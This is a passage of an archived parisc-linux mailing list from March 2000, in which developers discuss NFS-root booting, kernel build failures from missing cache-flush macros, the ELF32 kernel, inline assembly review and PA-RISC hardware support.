> Make sure both bootps and tftp are enabled in /etc/inetd.conf.
> 
> Edit your /etc/exports to contain a line like this:
> 
> 	/tftpboot/mybox		mybox(rw,no_root_squash)
> 
> Again, replace mybox with your hostname.
> 
> Restart inetd and nfs services if you made any modifications.

Here's the /etc/exports contents on my HP-UX NFS server:
/tftpboot/turin         -rw=turin,root=turin

where "turin" is the nfsroot client. turin has an entry in /etc/hosts.

Then as root, "exportfs -av" will actually export those file systems.
When rebooting the nfs server, this will automatically be done.

and when I booted the parisc-linux workstation (turin=15.8.80.75):

...
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 15.8.80.76, my address is 15.8.80.7515.8.80.75
...

One problem less.

later,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make Image currently fails here too.
Date: Wed, 01 Mar 2000 12:17:41 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <E12QEcv-0001s3-00@endor.fc.hp.com>
References: <Pine.BSO.4.21.0003011338010.23746-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618804 30874 80.91.229.3 (22 Nov 2014 01:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: bame@endor.fc.hp.com  Wed Mar  1 15:39:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA22243
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 15:39:50 -0700
Original-Received: (qmail 16250 invoked by uid 15267); 1 Mar 2000 21:40:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16238 invoked from network); 1 Mar 2000 21:40:49 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 21:40:49 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 3BF0814FBA; Wed,  1 Mar 2000 14:17:46 -0500 (EST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 12QEcv-0001s3-00; Wed, 1 Mar 2000 12:17:41 -0700
In-reply-to: Your message of "Wed, 01 Mar 2000 13:39:16 EST."
             <Pine.BSO.4.21.0003011338010.23746-100000@mojo.calyx.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:6934

= 
= My unsatisfied symbols are different, though:
= 
= ld: Unsatisfied symbols:
=    fcacheline (code)
=    pcacheline (code)

That code doesn't get much maintenance these days.  The usual cause of
failures is that code using headers from the palinux tree which define
macros which call functions which aren't part of that boot loader.

	-P


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make Image currently fails here too.
Date: Wed, 01 Mar 2000 11:19:05 PST
Lines: 23
Approved: news@gmane.org
Message-ID: <200003012216.OAA05071@chrome.rose.hp.com>
References: <Pine.BSO.4.21.0003011338010.23746-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618804 30878 80.91.229.3 (22 Nov 2014 01:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:24 +0000 (UTC)
To: bri@mojo.calyx.net (Brian S. Julin)
Original-X-From: kirkb@chrome.rose.hp.com  Wed Mar  1 16:14:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA22673
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 16:14:43 -0700
Original-Received: (qmail 7568 invoked by uid 15267); 1 Mar 2000 22:15:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7557 invoked from network); 1 Mar 2000 22:15:43 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 22:15:43 -0000
Original-Received: from chrome.rose.hp.com (chrome.rose.hp.com [15.8.150.209])
	by palrel3.hp.com (Postfix) with ESMTP id 58495520
	for <parisc-linux@thepuffingroup.com>; Wed,  1 Mar 2000 14:14:23 -0800 (PST)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id OAA05071 for parisc-linux@thepuffingroup.com; Wed, 1 Mar 2000 14:16:26 -0800 (PST)
Resent-From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Resent-Message-Id: <200003012216.OAA05071@chrome.rose.hp.com>
Resent-To: parisc-linux@thepuffingroup.com
Resent-Date: Wed, 01 Mar 2000 14:16:25 PST
In-Reply-To: <Pine.BSO.4.21.0003011338010.23746-100000@mojo.calyx.net>; from "Brian S. Julin" at Mar 1, 100 1:39 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6935

Brian,

| 
| My unsatisfied symbols are different, though:
| 
| ld: Unsatisfied symbols:
|    fcacheline (code)
|    pcacheline (code)
| 

I ran into this yesterday, and in poking around with Bonsai, I believe
that this is because sammy's net/drivers/lasi_82596.c code includes
calls to these macros to do the cacheline flushes and purges, but prumpf
removed their definitions from include/asm-parisc/cache.h.

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ELF32 kernel
Date: Wed, 01 Mar 2000 16:35:14 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <E12QIeA-0002KV-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618805 30879 80.91.229.3 (22 Nov 2014 01:13:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Wed Mar  1 17:34:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA23248
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 17:34:56 -0700
Original-Received: (qmail 9702 invoked by uid 15267); 1 Mar 2000 23:35:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9688 invoked from network); 1 Mar 2000 23:35:56 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 23:35:56 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel1.hp.com (Postfix) with ESMTP id 36CD842
	for <parisc-linux@thepuffingroup.com>; Wed,  1 Mar 2000 15:35:15 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 12QIeA-0002KV-00; Wed, 1 Mar 2000 16:35:14 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6936


It ain't perfect, but the ELF32 kernel booted with an NFS root, ran
sash and fork/exec-ed hellow.  Networking didn't work well on a busy
LAN booting on a B180, dunno why, but it worked great on a c360.  I
checked in a defconfig per willy's suggestion and all the other changes
are in CVS too on the branch ELF_BRANCH.

There's a problem when I enable CONFIG_PROC_FS where devinet_init()
calls register_sysctl_table() with a ctl_table containing a char*
pointer (for ->procname) containing the value 0x20, which eventually
dies in strlen() at a lower level.  The code in devinet_init *may*
be interacting with the __init/__setup stuff we kludged around for SOM.
Maybe a someone who knows this code can take a look at this?

	-Paul Bame


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make Image currently fails here too.
Date: Wed, 1 Mar 2000 20:35:06 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20000301203505.V812@abacus.local>
References: <20000229202653.2087.qmail@web508.mail.yahoo.com> <Pine.BSO.4.21.0003011338010.23746-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618805 30883 80.91.229.3 (22 Nov 2014 01:13:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: prumpf@inwestnet.de  Wed Mar  1 17:39:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA23376
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 17:39:56 -0700
Original-Received: (qmail 13830 invoked by uid 15267); 1 Mar 2000 23:40:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13803 invoked from network); 1 Mar 2000 23:40:52 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 23:40:52 -0000
Original-Received: (qmail 15194 invoked from network); 1 Mar 2000 19:36:03 -0000
Original-Received: from port0946.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.184)
  by mail.ginko.net with SMTP; 1 Mar 2000 19:36:03 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id UAA16387;
	Wed, 1 Mar 2000 20:36:06 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <Pine.BSO.4.21.0003011338010.23746-100000@mojo.calyx.net>; from bri@mojo.calyx.net on Wed, Mar 01, 2000 at 01:39:16PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6937

> My unsatisfied symbols are different, though:
> 
> ld: Unsatisfied symbols:
>    fcacheline (code)
>    pcacheline (code)

That's the (buggy IMHO) Lasi ethernet driver that uses strange custom
macros to flush the cache rather than the standard ones.  Basically

#define fcacheline(x) dma_cache_wback(&x, 32)
#define pcacheline(x) dma_cache_inv(&x, 32)

_might_ make it compile again.


It alse uses phys_to_virt/virt_to_phys rather than bus_to_virt/virt_to_bus
and generally needs to be fixed for the new DMA API soon.  If you're
happy just using a ramdisk, don't compile it in.

	Philipp Rumpf


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sba_io_pdir_entry()
Date: Wed, 1 Mar 2000 21:07:45 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <20000301210745.W812@abacus.local>
References: <20000301165037.U812@abacus.local> <200003011924.LAA09530@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618805 30888 80.91.229.3 (22 Nov 2014 01:13:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:25 +0000 (UTC)
Cc: willy@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@inwestnet.de  Wed Mar  1 18:07:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA23758
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 18:07:57 -0700
Original-Received: (qmail 3442 invoked by uid 15267); 2 Mar 2000 00:08:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3408 invoked from network); 2 Mar 2000 00:08:57 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 2 Mar 2000 00:08:57 -0000
Original-Received: (qmail 15574 invoked from network); 1 Mar 2000 20:08:49 -0000
Original-Received: from port0946.fra.ginko.net (HELO inwestnet.de) (root@212.202.69.184)
  by mail.ginko.net with SMTP; 1 Mar 2000 20:08:49 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id VAA16603;
	Wed, 1 Mar 2000 21:08:50 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200003011924.LAA09530@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Mar 01, 2000 at 11:24:44AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6938

> /*
> * SBA Mapping Routine
> *
> * Given a virtual address (vba, arg2) and space id, (sid, arg1)
> * init_io_pdir_entry() loads the I/O PDIR entry pointed to by
> * pdir_ptr (arg0). Each IO Pdir entry consists of 8 bytes as
> * shown below (MSB == bit 0):
> *
> *  0                    19                                 51   55       63
> * +-+---------------------+----------------------------------+----+--------+
> * |V|        U            |            PPN[43:12]            | U  |   VI   |
> * +-+---------------------+----------------------------------+----+--------+
> *
> *  V  == Valid Bit
> *  U  == Unused
> * PPN == Physical Page Number
> * VI  == Virtual Index
> *
> * The physical address fields are filled with the results of the LPA
> * instruction.  The virtual index field is filled with the results of
> * of the LCI (Load Coherence Index) instruction.  The 8 bits used for
> * the virtual index are bits 12:19 of the value returned by LCI.
> *
> * We need to pre-swap the bytes since PCX-W is Big Endian.
> */
> 
> void __inline__ sba_io_pdir_entry(u64_t *pdir_ptr, space_t sid, void *vba)
> {
>         register u64_t tmp;
		  ^^^^^^
u64, not u64_t, please

>         mtsp(sid,1);

>         __asm__("lpa (%sr1,%1),%0"      /* Load the physical address */
>                 : "=r" (tmp) : "r" (vba));
> 
>         tmp &= ~0xfffUL;                /* clear page offset bits */
> 
>         __asm__( "depdi 0x1,0,1,%0"             /* Set enable bit */
>                 "lci (%sr1, %1),%r29\n\t"       /* Load coherent index */
>                 "extru %r29,19,8,%r29\n\t"      /* right shift coherent index */
>                 "depd %r29,63,8,%0"             /* insert coherent index */
> 
>                 : "=&r" (tmp)   /* output */
>                 : "r" (vba) /* input */
>                 : "r29" /* side effects? */
>                 )

asm("lpa (%sr1, %1), %0", "=r" (pa), "r" (vba));
asm("lci (%sr1, %1), %0", "=r" (ci), "r" (vba));

pa &= ~4095;
ci = (ci >> 10) & 255;

tmp = (ci<<foo) | (pa<<bar);

sounds better to me.

> Side note: should "space_t" be "unsigned long" or does parisc-linux
> define something already for space ID's?

unsigned long should be fine.

> I would prefer not to assume space ID is always zero or something else
> hard coded.

We want to map IO space to userspace, so the version above is all right
(it's a bit careful, but it shouldn't waste any performance).

	Philipp


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Performance
Date: Wed, 1 Mar 2000 09:18:29 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200003011418.JAA20165@lucifier.dial-up.user.akula.net>
References: <Pine.LNX.4.10.10002292345250.10407-100000@jesse.crash.lan>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618806 30892 80.91.229.3 (22 Nov 2014 01:13:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T. Martin" <catfish@alltel.net>
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Wed Mar  1 21:45:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA25030
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 21:45:49 -0700
Original-Received: (qmail 2171 invoked by uid 15267); 2 Mar 2000 03:46:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2141 invoked from network); 2 Mar 2000 03:46:48 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 2 Mar 2000 03:46:48 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.3/8.9.3) id JAA20165;
	Wed, 1 Mar 2000 09:18:29 -0500 (EST)
In-Reply-To: <Pine.LNX.4.10.10002292345250.10407-100000@jesse.crash.lan> from
 "T. Martin" at "Feb 29, 2000 11:50:54 pm"
X-Operating-System: OpenBSD 2k
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL66 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:6939

Making, drinking tea and reading an opus magnum from T. Martin:
>  Hello, 
>   I know this is off topic for the kernel but I'd like to say a little. 
> 
>  I have a 715/50 and it's been churning along with HP-UX 9.0 (not Y2K so
> HP says) It's been running setiathome as is a P166 Intel and I'm actually
> impressed by the math power of that 50mhz chip it outpermes the P166 about
> 3% . 
>  Just thought a few would like to know.
> 
>  One other thing I got a 715/75 and it's framebuffer is not 1024x768 as is
> the 715/50 any suggestions as to what it might be. 
1280x1024 (;
or maybe just some other vsync freq?
cu

-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Shack <sshack@cln.etc.bc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Performance
Date: Wed, 01 Mar 2000 19:54:05 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <38BDE5DD.CCF2CD87@cln.etc.bc.ca>
References: <200003011418.JAA20165@lucifier.dial-up.user.akula.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618806 30893 80.91.229.3 (22 Nov 2014 01:13:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sshack@cln.etc.bc.ca  Wed Mar  1 21:53:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA25269
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 21:53:15 -0700
Original-Received: (qmail 6196 invoked by uid 15267); 2 Mar 2000 03:54:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6189 invoked from network); 2 Mar 2000 03:54:16 -0000
Original-Received: from learn.etc.bc.ca (142.44.5.2)
  by mailserv2.iuinc.com with SMTP; 2 Mar 2000 03:54:16 -0000
Original-Received: from cln.etc.bc.ca (utpfqt@24.65.187.169.bc.wave.home.com [24.65.187.169])
	by learn.etc.bc.ca (8.9.3/8.9.3) with ESMTP id TAA13710
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Mar 2000 19:53:09 -0800 (PST)
Original-Sender: sshack@learn.etc.bc.ca
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.14 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6940

Michael Shalayeff wrote:

> Making, drinking tea and reading an opus magnum from T. Martin:
> >  Hello,
> >   I know this is off topic for the kernel but I'd like to say a little.
> >
> >  I have a 715/50 and it's been churning along with HP-UX 9.0 (not Y2K so
> > HP says) It's been running setiathome as is a P166 Intel and I'm actually
> > impressed by the math power of that 50mhz chip it outpermes the P166 about
> > 3% .
> >  Just thought a few would like to know.
> >
> >  One other thing I got a 715/75 and it's framebuffer is not 1024x768 as is
> > the 715/50 any suggestions as to what it might be.
> 1280x1024 (;
> or maybe just some other vsync freq?
> cu

Some of the puffins helped me out on this when I first got my 712. If you press tab
while booting up it will cycle through the videomodes.
It might not work on a 715 i'm not sure. But if it does cycle through untill you
find a usable videomode. (many were there but very fuzzy, in the end 1024x768 was
the ONLY one that worked even half way decent.)



From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Thu, 2 Mar 2000 21:02:12 +0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20000302210210.C30912@neep.com.au>
References: <20000301010645.Y30912@neep.com.au> <20000229122439.F9944@thepuffingroup.com> <20000301074847.A13653@neep.com.au> <20000229191712.L9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618806 30896 80.91.229.3 (22 Nov 2014 01:13:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Thu Mar  2 10:43:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA30009
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 10:43:40 -0700
Original-Received: (qmail 14156 invoked by uid 15267); 2 Mar 2000 16:44:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14142 invoked from network); 2 Mar 2000 16:44:41 -0000
Original-Received: from gothic.iinet.net.au (@203.59.24.252)
  by mailserv2.iuinc.com with SMTP; 2 Mar 2000 16:44:41 -0000
Original-Received: from guinness.neep.com.au (reggae-24-224.nv.iinet.net.au [203.59.89.224])
	by gothic.iinet.net.au (8.8.5/8.8.5) with ESMTP id VAA21203
	for <parisc-linux@thepuffingroup.com>; Thu, 2 Mar 2000 21:02:23 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id VAA30371
	for parisc-linux@thepuffingroup.com; Thu, 2 Mar 2000 21:02:15 +0800
X-Mailer: Mutt 1.0i
In-Reply-To: <20000229191712.L9944@thepuffingroup.com>; from willy@thepuffingroup.com on Tue, Feb 29, 2000 at 07:17:12PM -0500
X-URL: http://www.neep.com.au/~andrew/
Xref: news.gmane.org gmane.linux.ports.parisc:6941

willy@thepuffingroup.com said:
> On Wed, Mar 01, 2000 at 07:48:49AM +0800, Andrew Shugg wrote:
> > I'm a bit confused by this.  I thought the HP 375 was a PA-RISC thingy.
> > Certainly there have been numerous people on this list talking about getting
> > their 315's or whatever to boot the parisc-linux kernel.
> 
> Do you perhaps mean the 735 and 715?

Ahah - brilliant!  This indeed what I meant.  Thanks.

> > Is a PA7000 not a PA-RISC chip?
> 
> Yes, it is.  To complicate matters, there are PA7000 CPUs which implement
> the PA1.0 architecture (PCX) and PA7000 CPUs which implement the PA1.1
> architecture (PCX-S).  The intention is to support the latter and not
> the former.
> 
> Less than a year ago, I didn't know the difference between a PA1.0 and
> PA1.1 machine :-)

Okay.  =)  Is it clear at this point what is definitely going to be supported
(even if it doesn't work now), and what will _never_ be supported?  (ie,
basically, what has 1.0 and what has 1.1?)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Thu, 2 Mar 2000 10:01:38 -0700 (MST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200003021701.KAA19276@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618807 30897 80.91.229.3 (22 Nov 2014 01:13:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:27 +0000 (UTC)
To: andrew@neep.com.au, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Thu Mar  2 11:00:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA30300
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 11:00:45 -0700
Original-Received: (qmail 29503 invoked by uid 15267); 2 Mar 2000 17:01:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29486 invoked from network); 2 Mar 2000 17:01:47 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 2 Mar 2000 17:01:47 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id KAA19276;
	Thu, 2 Mar 2000 10:01:38 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6942

> Date: Thu, 2 Mar 2000 21:02:12 +0800
> From: Andrew Shugg <andrew@neep.com.au>
> To: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] Value of an old K-class server?
> 
> Okay.  =)  Is it clear at this point what is definitely going to be supported
> (even if it doesn't work now), and what will _never_ be supported?  (ie,
> basically, what has 1.0 and what has 1.1?)
> 

Your 715 and 735 should be fairly easy to support, even if they aren't one
of the current active development platforms.  They are 1.1 machines with
fairly "stock" off-the-shelf IO components very similar or identical to
some of the machines that are being worked on.

The "hard" machines will be 1.0 based machines (due to lack of architectural
features such as shadow registers and block TLBs that are probably assumed to
exist by the Linux code) and those with the different IO architectures
(CIO and NIO-based).  Note that the latter can be 1.1 (or 2.0?) based
machines, so you cannot just say that 1.1 machines will work.

Note that I speak not as an active developer of Linux, but as someone who
worked on Mach/BSD on these machines.  So believe the Puffin people more
than me!  They have a lot more resources available then we did, so things
might not be as hard for them.


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Thu, 2 Mar 2000 12:08:51 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20000302120851.S9944@thepuffingroup.com>
References: <20000301010645.Y30912@neep.com.au> <20000229122439.F9944@thepuffingroup.com> <20000301074847.A13653@neep.com.au> <20000229191712.L9944@thepuffingroup.com> <20000302210210.C30912@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618807 30900 80.91.229.3 (22 Nov 2014 01:13:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: willy@thepuffingroup.com  Thu Mar  2 11:08:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA30456
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 11:08:00 -0700
Original-Received: (qmail 3716 invoked by uid 15267); 2 Mar 2000 17:09:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3707 invoked from network); 2 Mar 2000 17:09:00 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
